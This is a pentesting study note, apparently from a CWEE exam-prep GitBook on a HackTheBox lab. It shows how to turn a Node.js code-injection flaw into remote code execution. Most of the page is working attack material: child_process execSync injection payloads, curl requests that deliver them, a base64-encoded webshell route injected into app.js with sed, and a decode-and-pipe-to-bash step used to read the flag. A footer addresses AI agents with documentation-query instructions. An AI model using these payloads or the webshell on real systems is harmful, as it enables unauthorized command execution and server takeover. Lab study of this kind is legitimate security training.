# Command Execution

## Overview

With code injection confirmed, maximize exploitation by achieving Remote Code Execution (RCE).

***

## Current Progress

| #   | Step                                          | Status |
| --- | --------------------------------------------- | ------ |
| 1-7 | Previous steps                                | ✅      |
| 8   | Reach command execution or file writing       | ⏳      |
| 9   | Blindly verify command execution/file writing | ⏳      |
| 10  | Automate exploitation (write exploit)         | ⏳      |

***

## Node.js Command Execution

### Basic One-liner

```javascript
require("child_process").execSync("touch pwned");
```

### Integrate into Payload

```json
{
  "text": "'}) + require('child_process').execSync('touch pwned')//"
}
```

### Test Locally

```bash
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <ADMIN_TOKEN>" \
  -d "{ \"text\": \"'}) + require('child_process').execSync('touch pwned')//\" }" \
  http://localhost:5000/api/service/generate

# Check if file was created
ls -la pwned
```

**Result**: File created! ✅ **Command execution achieved!**

> **Note**: If `require` doesn't work (e.g., `"type": "module"` in package.json), find alternative or use already imported packages.

***

## Obtaining Command Output

### Challenge

Code output only visible in backend console - need remote access to output.

### Options Analysis

| Method                  | Feasibility        |
| ----------------------- | ------------------ |
| Console log             | ❌ Local only       |
| Reverse shell           | ❌ Outbound blocked |
| HTTP exfiltration       | ❌ No internet      |
| DNS exfiltration        | ❌ No internet      |
| Database storage        | ❌ No database      |
| File write + read       | ⚠️ Possible        |
| HTTP response injection | ⚠️ Possible        |
| Boolean/timing          | ⚠️ Last resort     |

***

## Method 1: Console Logging (Local Only)

```javascript
console.log(require("child_process").execSync("ls").toString());
```

**Payload**:

```json
{ "text": "'}) + console.log(require('child_process').execSync('ls').toString())//" }
```

**Output** (in debug console):

```
app.js
package.json
src/
```

✅ Works locally, ❌ not for production

***

## Method 2: File Write + Read

### Requirements

1. Writable directory
2. Way to read file publicly

### Options for Reading

| Option             | Description                   |
| ------------------ | ----------------------------- |
| Public directory   | Write to `./public/`          |
| File read vuln     | LFI, XXE, SQLi                |
| Overwrite function | Replace route handler         |
| Add new route      | Inject middleware into app.js |

### This Application

* No public directory in `app.js`
* No file read vulnerability found
* No database

***

## Method 3: Inject Webshell into app.js

### Target Code

```javascript
app.get("/api/cmd", (req, res) => {
  const cmd = require("child_process").execSync(req.query.cmd).toString();
  res.send(cmd);
});
```

### Challenge

Must place route **before** 404 middleware, otherwise treated as 404.

***

## Exploitation Steps

### Step 1: Get Admin Token

```bash
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"email": "test@hackthebox.com"}' \
  http://<TARGET>/api/auth/authenticate
```

### Step 2: Create Webshell File

**Base64 encode the webshell**:

```bash
echo -n 'app.get("/api/cmd", (req, res) => {
  const cmd = require("child_process").execSync(req.query.cmd).toString();
  res.send(cmd);
});' | base64 -w0
```

**Output**:

```
YXBwLmdldCgiL2FwaS9jbWQiLCAocmVxLCByZXMpID0+IHsKICBjb25zdCBjbWQgPSByZXF1aXJlKCJjaGlsZF9wcm9jZXNzIikuZXhlY1N5bmMocmVxLnF1ZXJ5LmNtZCkudG9TdHJpbmcoKTsKICByZXMuc2VuZChjbWQpOwp9KTs=
```

**Write to file via command injection**:

```bash
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <TOKEN>" \
  -d "{ \"text\": \"'})+ console.log(require('child_process').execSync('echo <BASE64> | base64 --decode > pwned.txt').toString())//\" }" \
  http://<TARGET>/api/service/generate
```

### Step 3: Inject into app.js

**Command to inject before 404 middleware**:

```bash
sed -i "/app.use((req, res, next) => {/e cat pwned.txt" src/app.js
```

**Base64 encode**:

```bash
echo "sed -i \"/app.use((req, res, next) => {/e cat pwned.txt\" src/app.js" | base64 -w0
```

**Output**:

```
c2VkIC1pICIvYXBwLnVzZSgocmVxLCByZXMsIG5leHQpID0+IHsvZSBjYXQgcHduZWQudHh0IiBzcmMvYXBwLmpzCg==
```

**Execute via command injection**:

```bash
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <TOKEN>" \
  -d "{ \"text\": \"'})+ console.log(require('child_process').execSync('echo <BASE64> | base64 -d | bash').toString())//\" }" \
  http://<TARGET>/api/service/generate
```

### Step 4: Use Webshell

```bash
curl "http://<TARGET>/api/cmd?cmd=cat+/flag.txt"
```

Or visit in browser:

```
http://<TARGET>/api/cmd?cmd=cat+/flag.txt
```

***

## Complete Attack Chain

```
1. Get admin token (@hackthebox.com email)
         ↓
2. Base64 encode webshell code
         ↓
3. Write webshell to pwned.txt via command injection
         ↓
4. Base64 encode sed command
         ↓
5. Inject webshell into app.js before 404 handler
         ↓
6. Access /api/cmd?cmd=<command>
         ↓
7. Read /flag.txt
```

***

## Why Base64 Encoding?

### Problems with Direct Commands

* Quotes break JSON
* Special characters need escaping
* Complex commands hard to format

### Solution

```bash
echo "<base64_payload>" | base64 -d | bash
```

* Avoids escaping issues
* Works with any command complexity
* Reliable execution

***

## Key Takeaways

1. **Code injection → RCE** - Natural escalation path
2. **Output exfiltration** - Multiple methods, try each
3. **Base64 encoding** - Solves escaping problems
4. **sed injection** - Powerful for modifying files
5. **Placement matters** - Routes must be before 404 handler
6. **Test environment** - Auto-reload makes injection easier

***

## Next Steps

* Explore HTTP response injection
* Automate with exploit script
* Test on production target


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cwee-prep/introduction-6/poc-case-study/command-execution.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
